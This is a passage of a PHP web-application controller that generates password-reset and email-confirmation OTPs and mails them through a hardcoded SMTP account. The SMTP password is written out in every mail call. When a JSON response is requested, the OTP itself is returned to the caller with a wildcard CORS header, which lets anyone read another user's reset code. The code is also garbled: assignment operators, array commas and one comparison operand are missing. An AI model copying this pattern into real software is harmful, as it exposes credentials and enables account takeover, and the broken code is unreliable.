  8477.                     if ($email_address == null || $email_address == '')
  8478.                         $email_address $userObj->getOAuthEmail();
  8479.                     //                    triggerResetPassword:
  8480. //                    type: integer
  8481. //                          nullable: true
  8482.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8483.                     $otp $otpData['otp'];
  8484.                     $otpExpireTs $otpData['expireTs'];
  8485.                     $userObj->setOtp($otpData['otp']);
  8486.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8487.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8488.                     $em_goc->flush();
  8489.                     $userData = array(
  8490.                         'id' => $userObj->getApplicantId(),
  8491.                         'email' => $email_address,
  8492.                         'appId' => 0,
  8493.                         'image' => $userObj->getImage(),
  8494.                         'firstName' => $userObj->getFirstname(),
  8495.                         'lastName' => $userObj->getLastname(),
  8496.                         'phone' => $userObj->getPhone(),
  8497. //                        'appId'=>$userObj->getUserAppId(),
  8498.                     );
  8499.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8500.                     $email_twig_data = [
  8501.                         'page_title' => 'Find Account',
  8502.                         'encryptedData' => $encryptedData,
  8503.                         'message' => $message,
  8504.                         'userType' => $userType,
  8505.                         'errorField' => $errorField,
  8506.                         'otp' => $otpData['otp'],
  8507.                         'otpExpireSecond' => $otpExpireSecond,
  8508.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8509.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8510.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8511.                         'otpExpireTs' => $otpData['expireTs'],
  8512.                         'systemType' => $systemType,
  8513.                         'userCategory' => $userCategory,
  8514.                         'userData' => $userData
  8515.                     ];
  8516.                     $email_twig_data['success'] = true;
  8517.                 } else {
  8518.                     $message "Oops! Could not find your account";
  8519.                     $email_twig_data['success'] = false;
  8520.                 }
  8521.             } else if ($systemType == '_BUDDYBEE_') {
  8522.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8523.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8524.                     array(
  8525.                         'email' => $email_address
  8526.                     )
  8527.                 );
  8528.                 if ($userObj) {
  8529.                 } else {
  8530.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8531.                         array(
  8532.                             'oAuthEmail' => $email_address
  8533.                         )
  8534.                     );
  8535.                     if ($userObj) {
  8536.                     } else {
  8537.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8538.                             array(
  8539.                                 'username' => $email_address
  8540.                             )
  8541.                         );
  8542.                     }
  8543.                 }
  8544.                 if ($userObj) {
  8545.                     $email_address $userObj->getEmail();
  8546.                     if ($email_address == null || $email_address == '')
  8547.                         $email_address $userObj->getOAuthEmail();
  8548.                     //                    triggerResetPassword:
  8549. //                    type: integer
  8550. //                          nullable: true
  8551.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8552.                     $otp $otpData['otp'];
  8553.                     $otpExpireTs $otpData['expireTs'];
  8554.                     $userObj->setOtp($otpData['otp']);
  8555.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8556.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8557.                     $em_goc->flush();
  8558.                     $userData = array(
  8559.                         'id' => $userObj->getApplicantId(),
  8560.                         'email' => $email_address,
  8561.                         'appId' => 0,
  8562.                         'image' => $userObj->getImage(),
  8563.                         'firstName' => $userObj->getFirstname(),
  8564.                         'lastName' => $userObj->getLastname(),
  8565.                         'phone' => $userObj->getPhone(),
  8566. //                        'appId'=>$userObj->getUserAppId(),
  8567.                     );
  8568.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8569.                     $email_twig_data = [
  8570.                         'page_title' => 'Find Account',
  8571.                         'encryptedData' => $encryptedData,
  8572.                         'message' => $message,
  8573.                         'userType' => $userType,
  8574.                         'errorField' => $errorField,
  8575.                         'otp' => $otpData['otp'],
  8576.                         'otpExpireSecond' => $otpExpireSecond,
  8577.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8578.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8579.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8580.                         'otpExpireTs' => $otpData['expireTs'],
  8581.                         'systemType' => $systemType,
  8582.                         'userCategory' => $userCategory,
  8583.                         'userData' => $userData
  8584.                     ];
  8585.                     $email_twig_data['success'] = true;
  8586.                 } else {
  8587.                     $message "Oops! Could not find your account";
  8588.                     $email_twig_data['success'] = false;
  8589.                 }
  8590.             }
  8591.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8592.                 if ($systemType == '_BUDDYBEE_') {
  8593.                     $bodyHtml '';
  8594.                     $bodyTemplate $email_twig_file;
  8595.                     $bodyData $email_twig_data;
  8596.                     $attachments = [];
  8597.                     $forwardToMailAddress $email_address;
  8598. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8599.                     $new_mail $this->get('mail_module');
  8600.                     $new_mail->sendMyMail(array(
  8601.                         'senderHash' => '_CUSTOM_',
  8602.                         //                        'senderHash'=>'_CUSTOM_',
  8603.                         'forwardToMailAddress' => $forwardToMailAddress,
  8604.                         'subject' => 'Account Verification',
  8605. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8606.                         'attachments' => $attachments,
  8607.                         'toAddress' => $forwardToMailAddress,
  8608.                         'fromAddress' => 'no-reply@buddybee.eu',
  8609.                         'userName' => 'no-reply@buddybee.eu',
  8610.                         'password' => 'Honeybee@0112',
  8611.                         'smtpServer' => 'smtp.hostinger.com',
  8612.                         'smtpPort' => 465,
  8613. //                            'emailBody' => $bodyHtml,
  8614.                         'mailTemplate' => $bodyTemplate,
  8615.                         'templateData' => $bodyData,
  8616. //                        'embedCompanyImage' => 1,
  8617. //                        'companyId' => $companyId,
  8618. //                        'companyImagePath' => $company_data->getImage()
  8619.                     ));
  8620.                 } else if ($systemType == '_CENTRAL_') {
  8621.                     $bodyHtml '';
  8622.                     $bodyTemplate $email_twig_file;
  8623.                     $bodyData $email_twig_data;
  8624.                     $attachments = [];
  8625.                     $forwardToMailAddress $email_address;
  8626. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8627.                     $new_mail $this->get('mail_module');
  8628.                     $new_mail->sendMyMail(array(
  8629.                         'senderHash' => '_CUSTOM_',
  8630.                         //                        'senderHash'=>'_CUSTOM_',
  8631.                         'forwardToMailAddress' => $forwardToMailAddress,
  8632.                         'subject' => 'Account Verification',
  8633. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8634.                         'attachments' => $attachments,
  8635.                         'toAddress' => $forwardToMailAddress,
  8636.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8637.                         'userName' => 'accounts@ourhoneybee.eu',
  8638.                         'password' => 'Honeybee@0112',
  8639.                         'smtpServer' => 'smtp.hostinger.com',
  8640.                         'smtpPort' => 465,
  8641. //                            'emailBody' => $bodyHtml,
  8642.                         'mailTemplate' => $bodyTemplate,
  8643.                         'templateData' => $bodyData,
  8644. //                        'embedCompanyImage' => 1,
  8645. //                        'companyId' => $companyId,
  8646. //                        'companyImagePath' => $company_data->getImage()
  8647.                     ));
  8648.                 } else {
  8649.                     $bodyHtml '';
  8650.                     $bodyTemplate $email_twig_file;
  8651.                     $bodyData $email_twig_data;
  8652.                     $attachments = [];
  8653.                     $forwardToMailAddress $email_address;
  8654. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8655.                     $new_mail $this->get('mail_module');
  8656.                     $new_mail->sendMyMail(array(
  8657.                         'senderHash' => '_CUSTOM_',
  8658.                         //                        'senderHash'=>'_CUSTOM_',
  8659.                         'forwardToMailAddress' => $forwardToMailAddress,
  8660.                         'subject' => 'Applicant Registration on Honeybee',
  8661. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8662.                         'attachments' => $attachments,
  8663.                         'toAddress' => $forwardToMailAddress,
  8664.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8665.                         'userName' => 'accounts@ourhoneybee.eu',
  8666.                         'password' => 'Honeybee@0112',
  8667.                         'smtpServer' => 'smtp.hostinger.com',
  8668.                         'smtpPort' => 465,
  8669.                         'emailBody' => $bodyHtml,
  8670.                         'mailTemplate' => $bodyTemplate,
  8671.                         'templateData' => $bodyData,
  8672. //                        'embedCompanyImage' => 1,
  8673. //                        'companyId' => $companyId,
  8674. //                        'companyImagePath' => $company_data->getImage()
  8675.                     ));
  8676.                 }
  8677.             }
  8678.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8679.                 if ($systemType == '_BUDDYBEE_') {
  8680.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8681.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8682.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8683.                      _APPEND_CODE_';
  8684.                     $msg str_replace($searchVal$replaceVal$msg);
  8685.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8686.                     $sendType 'all';
  8687.                     $socketUserIds = [];
  8688.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8689.                 } else {
  8690.                 }
  8691.             }
  8692.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8693.                 $response = new JsonResponse(array(
  8694.                         'templateData' => $twigData,
  8695.                         'message' => $message,
  8696. //                        "otp"=>'',
  8697.                         "otp" => $otp,
  8698.                         "otpExpireTs" => $otpExpireTs,
  8699.                         'actionData' => $email_twig_data,
  8700.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8701.                     )
  8702.                 );
  8703.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8704.                 return $response;
  8705.             } else if ($email_twig_data['success'] == true) {
  8706.                 $encData = array(
  8707.                     "userType" => $userType,
  8708.                     "otp" => '',
  8709. //                "otp"=>$otp,
  8710.                     "otpExpireTs" => $otpExpireTs,
  8711.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8712.                     "userCategory" => $userCategory,
  8713.                     "userId" => $userData['id'],
  8714.                     "systemType" => $systemType,
  8715.                     "email" => $email_address,
  8716.                 );
  8717.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8718.                 $url $this->generateUrl(
  8719.                     'verify_otp'
  8720.                 );
  8721.                 return $this->redirect($url "/" $encDataStr);
  8722. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8723. ////                    'encData'
  8724. ////                'id' => $isApplicantExist->getApplicantId(),
  8725. ////                'oAuthData' => $oAuthData,
  8726. ////                'refRoute' => $refRoute,
  8727. //                ]);
  8728.             }
  8729.         }
  8730.         if ($systemType == '_ERP_') {
  8731.             if ($userCategory == '_APPLICANT_') {
  8732.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8733.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8734.                 $twigData = [
  8735.                     'page_title' => 'Find Account',
  8736.                     'encryptedData' => $encryptedData,
  8737.                     'message' => $message,
  8738.                     'systemType' => $systemType,
  8739.                     'ownServerId' => $ownServerId,
  8740.                     'userType' => $userType,
  8741.                     'errorField' => $errorField,
  8742.                 ];
  8743.             } else {
  8744.                 $userType UserConstants::USER_TYPE_GENERAL;
  8745.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8746.                 $twigData = [
  8747.                     'page_title' => 'Find Account',
  8748.                     'encryptedData' => $encryptedData,
  8749.                     'systemType' => $systemType,
  8750.                     'ownServerId' => $ownServerId,
  8751.                     'message' => $message,
  8752.                     'userType' => $userType,
  8753.                     'errorField' => $errorField,
  8754.                 ];
  8755.             }
  8756.         } else if ($systemType == '_SOPHIA_') {
  8757.             $userType UserConstants::USER_TYPE_APPLICANT;
  8758.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8759.             $twigData = [
  8760.                 'page_title' => 'Find Account',
  8761.                 'encryptedData' => $encryptedData,
  8762.                 'systemType' => $systemType,
  8763.                 'ownServerId' => $ownServerId,
  8764.                 "otp" => '',
  8765. //                "otp"=>$otp,
  8766.                 "otpExpireTs" => $otpExpireTs,
  8767.                 'message' => $message,
  8768.                 'userType' => $userType,
  8769.                 'errorField' => $errorField,
  8770.             ];
  8771.         } else if ($systemType == '_CENTRAL_') {
  8772.             $userType UserConstants::USER_TYPE_APPLICANT;
  8773.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8774.             $twigData = [
  8775.                 'page_title' => 'Find Account',
  8776.                 'encryptedData' => $encryptedData,
  8777.                 'systemType' => $systemType,
  8778.                 'ownServerId' => $ownServerId,
  8779.                 "otp" => '',
  8780. //                "otp"=>$otp,
  8781.                 "otpExpireTs" => $otpExpireTs,
  8782.                 'message' => $message,
  8783.                 'userType' => $userType,
  8784.                 'errorField' => $errorField,
  8785.             ];
  8786.         } else if ($systemType == '_BUDDYBEE_') {
  8787.             $userType UserConstants::USER_TYPE_APPLICANT;
  8788.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8789.             $twigData = [
  8790.                 'page_title' => 'Find Account',
  8791.                 'encryptedData' => $encryptedData,
  8792.                 "otp" => '',
  8793.                 'systemType' => $systemType,
  8794.                 'ownServerId' => $ownServerId,
  8795. //                "otp"=>$otp,
  8796.                 "otpExpireTs" => $otpExpireTs,
  8797.                 'message' => $message,
  8798.                 'userType' => $userType,
  8799.                 'errorField' => $errorField,
  8800.             ];
  8801.         }
  8802.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8803.             $response = new JsonResponse(array(
  8804.                     'templateData' => $twigData,
  8805.                     'message' => $message,
  8806.                     "otp" => '',
  8807. //                "otp"=>$otp,
  8808.                     "otpExpireTs" => $otpExpireTs,
  8809.                     'actionData' => $email_twig_data,
  8810.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8811.                 )
  8812.             );
  8813.             $response->headers->set('Access-Control-Allow-Origin''*');
  8814.             return $response;
  8815.         } else {
  8816.             return $this->render(
  8817.                 $twig_file,
  8818.                 $twigData
  8819.             );
  8820.         }
  8821.     }
  8822.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8823.     {
  8824. //        $userCategory=$request->request->has('userCategory');
  8825.         $encryptedData = [];
  8826.         $errorField '';
  8827.         $message '';
  8828.         $userType '';
  8829.         $otpExpireSecond 180;
  8830.         $otpExpireTs 0;
  8831.         $otp '';
  8832.         if ($encData != '')
  8833.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8834. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8835.         $userCategory '_BUDDYBEE_USER_';
  8836.         if (isset($encryptedData['userCategory']))
  8837.             $userCategory $encryptedData['userCategory'];
  8838.         else
  8839.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8840.         $em $this->getDoctrine()->getManager('company_group');
  8841.         $em_goc $this->getDoctrine()->getManager('company_group');
  8842.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8843.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8844.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8845.         $twigData = [];
  8846.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8847.         $email_address $request->request->get('email''');
  8848.         $email_twig_data = [];
  8849.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8850.         if ($request->isMethod('POST')) {
  8851.             //set an otp and its expire and send mail
  8852.             $email_address $request->request->get('email');
  8853.             $userObj null;
  8854.             $userData = [];
  8855.             if ($systemType == '_ERP_') {
  8856.                 if ($userCategory == '_APPLICANT_') {
  8857.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8858.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8859.                         array(
  8860.                             'email' => $email_address
  8861.                         )
  8862.                     );
  8863.                     if ($userObj) {
  8864.                     } else {
  8865.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8866.                             array(
  8867.                                 'oAuthEmail' => $email_address
  8868.                             )
  8869.                         );
  8870.                         if ($userObj) {
  8871.                         } else {
  8872.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8873.                                 array(
  8874.                                     'username' => $email_address
  8875.                                 )
  8876.                             );
  8877.                         }
  8878.                     }
  8879.                     if ($userObj) {
  8880.                         $email_address $userObj->getEmail();
  8881.                         if ($email_address == null || $email_address == '')
  8882.                             $email_address $userObj->getOAuthEmail();
  8883.                     }
  8884. //                    triggerResetPassword:
  8885. //                    type: integer
  8886. //                          nullable: true
  8887.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8888.                     $otp $otpData['otp'];
  8889.                     $otpExpireTs $otpData['expireTs'];
  8890.                     $userObj->setOtp($otpData['otp']);
  8891.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8892.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8893.                     $em_goc->flush();
  8894.                     $userData = array(
  8895.                         'id' => $userObj->getApplicantId(),
  8896.                         'email' => $email_address,
  8897.                         'appId' => 0,
  8898. //                        'appId'=>$userObj->getUserAppId(),
  8899.                     );
  8900.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8901.                     $email_twig_data = [
  8902.                         'page_title' => 'Find Account',
  8903.                         'encryptedData' => $encryptedData,
  8904.                         'message' => $message,
  8905.                         'userType' => $userType,
  8906.                         'errorField' => $errorField,
  8907.                         'otp' => $otpData['otp'],
  8908.                         'otpExpireSecond' => $otpExpireSecond,
  8909.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8910.                         'otpExpireTs' => $otpData['expireTs'],
  8911.                         'systemType' => $systemType,
  8912.                         'userData' => $userData
  8913.                     ];
  8914.                     if ($userObj)
  8915.                         $email_twig_data['success'] = true;
  8916.                 } else {
  8917.                     $userType UserConstants::USER_TYPE_GENERAL;
  8918.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8919.                     $email_twig_data = [
  8920.                         'page_title' => 'Find Account',
  8921.                         'encryptedData' => $encryptedData,
  8922.                         'message' => $message,
  8923.                         'userType' => $userType,
  8924.                         'errorField' => $errorField,
  8925.                     ];
  8926.                 }
  8927.             } else if ($systemType == '_CENTRAL_') {
  8928.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8929.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8930.                     array(
  8931.                         'email' => $email_address
  8932.                     )
  8933.                 );
  8934.                 if ($userObj) {
  8935.                 } else {
  8936.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8937.                         array(
  8938.                             'oAuthEmail' => $email_address
  8939.                         )
  8940.                     );
  8941.                     if ($userObj) {
  8942.                     } else {
  8943.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8944.                             array(
  8945.                                 'username' => $email_address
  8946.                             )
  8947.                         );
  8948.                     }
  8949.                 }
  8950.                 if ($userObj) {
  8951.                     $email_address $userObj->getEmail();
  8952.                     if ($email_address == null || $email_address == '')
  8953.                         $email_address $userObj->getOAuthEmail();
  8954.                     //                    triggerResetPassword:
  8955. //                    type: integer
  8956. //                          nullable: true
  8957.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8958.                     $otp $otpData['otp'];
  8959.                     $otpExpireTs $otpData['expireTs'];
  8960.                     $userObj->setOtp($otpData['otp']);
  8961.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8962.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8963.                     $em_goc->flush();
  8964.                     $userData = array(
  8965.                         'id' => $userObj->getApplicantId(),
  8966.                         'email' => $email_address,
  8967.                         'appId' => 0,
  8968.                         'image' => $userObj->getImage(),
  8969.                         'firstName' => $userObj->getFirstname(),
  8970.                         'lastName' => $userObj->getLastname(),
  8971.                         'phone' => $userObj->getPhone(),
  8972. //                        'appId'=>$userObj->getUserAppId(),
  8973.                     );
  8974.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8975.                     $email_twig_data = [
  8976.                         'page_title' => 'Find Account',
  8977.                         'encryptedData' => $encryptedData,
  8978.                         'message' => $message,
  8979.                         'userType' => $userType,
  8980.                         'errorField' => $errorField,
  8981.                         'otp' => $otpData['otp'],
  8982.                         'otpExpireSecond' => $otpExpireSecond,
  8983.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8984.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8985.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8986.                         'otpExpireTs' => $otpData['expireTs'],
  8987.                         'systemType' => $systemType,
  8988.                         'userCategory' => $userCategory,
  8989.                         'userData' => $userData
  8990.                     ];
  8991.                     $email_twig_data['success'] = true;
  8992.                 } else {
  8993.                     $message "Oops! Could not find your account";
  8994.                     $email_twig_data['success'] = false;
  8995.                 }
  8996.             }
  8997.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8998.                 if ($systemType == '_CENTRAL_') {
  8999.                     $bodyHtml '';
  9000.                     $bodyTemplate $email_twig_file;
  9001.                     $bodyData $email_twig_data;
  9002.                     $attachments = [];
  9003.                     $forwardToMailAddress $email_address;
  9004. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9005.                     $new_mail $this->get('mail_module');
  9006.                     $new_mail->sendMyMail(array(
  9007.                         'senderHash' => '_CUSTOM_',
  9008.                         //                        'senderHash'=>'_CUSTOM_',
  9009.                         'forwardToMailAddress' => $forwardToMailAddress,
  9010.                         'subject' => 'Account Verification',
  9011. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9012.                         'attachments' => $attachments,
  9013.                         'toAddress' => $forwardToMailAddress,
  9014.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9015.                         'userName' => 'accounts@ourhoneybee.eu',
  9016.                         'password' => 'Honeybee@0112',
  9017.                         'smtpServer' => 'smtp.hostinger.com',
  9018.                         'smtpPort' => 465,
  9019. //                            'emailBody' => $bodyHtml,
  9020.                         'mailTemplate' => $bodyTemplate,
  9021.                         'templateData' => $bodyData,
  9022. //                        'embedCompanyImage' => 1,
  9023. //                        'companyId' => $companyId,
  9024. //                        'companyImagePath' => $company_data->getImage()
  9025.                     ));
  9026.                 } else {
  9027.                     $bodyHtml '';
  9028.                     $bodyTemplate $email_twig_file;
  9029.                     $bodyData $email_twig_data;
  9030.                     $attachments = [];
  9031.                     $forwardToMailAddress $email_address;
  9032. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9033.                     $new_mail $this->get('mail_module');
  9034.                     $new_mail->sendMyMail(array(
  9035.                         'senderHash' => '_CUSTOM_',
  9036.                         //                        'senderHash'=>'_CUSTOM_',
  9037.                         'forwardToMailAddress' => $forwardToMailAddress,
  9038.                         'subject' => 'Applicant Registration on Honeybee',
  9039. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9040.                         'attachments' => $attachments,
  9041.                         'toAddress' => $forwardToMailAddress,
  9042.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9043.                         'userName' => 'accounts@ourhoneybee.eu',
  9044.                         'password' => 'Honeybee@0112',
  9045.                         'smtpServer' => 'smtp.hostinger.com',
  9046.                         'smtpPort' => 465,
  9047.                         'emailBody' => $bodyHtml,
  9048.                         'mailTemplate' => $bodyTemplate,
  9049.                         'templateData' => $bodyData,
  9050. //                        'embedCompanyImage' => 1,
  9051. //                        'companyId' => $companyId,
  9052. //                        'companyImagePath' => $company_data->getImage()
  9053.                     ));
  9054.                 }
  9055.             }
  9056.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9057.                 if ($systemType == '_BUDDYBEE_') {
  9058.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9059.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9060.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9061.                      _APPEND_CODE_';
  9062.                     $msg str_replace($searchVal$replaceVal$msg);
  9063.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9064.                     $sendType 'all';
  9065.                     $socketUserIds = [];
  9066.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9067.                 } else {
  9068.                 }
  9069.             }
  9070.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9071.                 $response = new JsonResponse(array(
  9072.                         'templateData' => $twigData,
  9073.                         'message' => $message,
  9074. //                        "otp"=>'',
  9075.                         "otp" => $otp,
  9076.                         "otpExpireTs" => $otpExpireTs,
  9077.                         'actionData' => $email_twig_data,
  9078.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9079.                     )
  9080.                 );
  9081.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9082.                 return $response;
  9083.             } else if ($email_twig_data['success'] == true) {
  9084.                 $encData = array(
  9085.                     "userType" => $userType,
  9086.                     "otp" => '',
  9087. //                "otp"=>$otp,
  9088.                     "otpExpireTs" => $otpExpireTs,
  9089.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9090.                     "userCategory" => $userCategory,
  9091.                     "userId" => $userData['id'],
  9092.                     "systemType" => $systemType,
  9093.                     "email" => $email_address,
  9094.                 );
  9095.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9096.                 $url $this->generateUrl(
  9097.                     'verify_otp'
  9098.                 );
  9099.                 return $this->redirect($url "/" $encDataStr);
  9100. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9101. ////                    'encData'
  9102. ////                'id' => $isApplicantExist->getApplicantId(),
  9103. ////                'oAuthData' => $oAuthData,
  9104. ////                'refRoute' => $refRoute,
  9105. //                ]);
  9106.             }
  9107.         }
  9108.         if ($systemType == '_ERP_') {
  9109.             if ($userCategory == '_APPLICANT_') {
  9110.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9111.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9112.                 $twigData = [
  9113.                     'page_title' => 'Find Account',
  9114.                     'encryptedData' => $encryptedData,
  9115.                     'message' => $message,
  9116.                     'systemType' => $systemType,
  9117.                     'ownServerId' => $ownServerId,
  9118.                     'userType' => $userType,
  9119.                     'errorField' => $errorField,
  9120.                 ];
  9121.             } else {
  9122.                 $userType UserConstants::USER_TYPE_GENERAL;
  9123.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9124.                 $twigData = [
  9125.                     'page_title' => 'Find Account',
  9126.                     'encryptedData' => $encryptedData,
  9127.                     'systemType' => $systemType,
  9128.                     'ownServerId' => $ownServerId,
  9129.                     'message' => $message,
  9130.                     'userType' => $userType,
  9131.                     'errorField' => $errorField,
  9132.                 ];
  9133.             }
  9134.         } else if ($systemType == '_CENTRAL_') {
  9135.             $userType UserConstants::USER_TYPE_APPLICANT;
  9136.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9137.             $twigData = [
  9138.                 'page_title' => 'Find Account',
  9139.                 'encryptedData' => $encryptedData,
  9140.                 'systemType' => $systemType,
  9141.                 'ownServerId' => $ownServerId,
  9142.                 "otp" => '',
  9143. //                "otp"=>$otp,
  9144.                 "otpExpireTs" => $otpExpireTs,
  9145.                 'message' => $message,
  9146.                 'userType' => $userType,
  9147.                 'errorField' => $errorField,
  9148.             ];
  9149.         } else if ($systemType == '_BUDDYBEE_') {
  9150.             $userType UserConstants::USER_TYPE_APPLICANT;
  9151.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9152.             $twigData = [
  9153.                 'page_title' => 'Find Account',
  9154.                 'encryptedData' => $encryptedData,
  9155.                 "otp" => '',
  9156.                 'systemType' => $systemType,
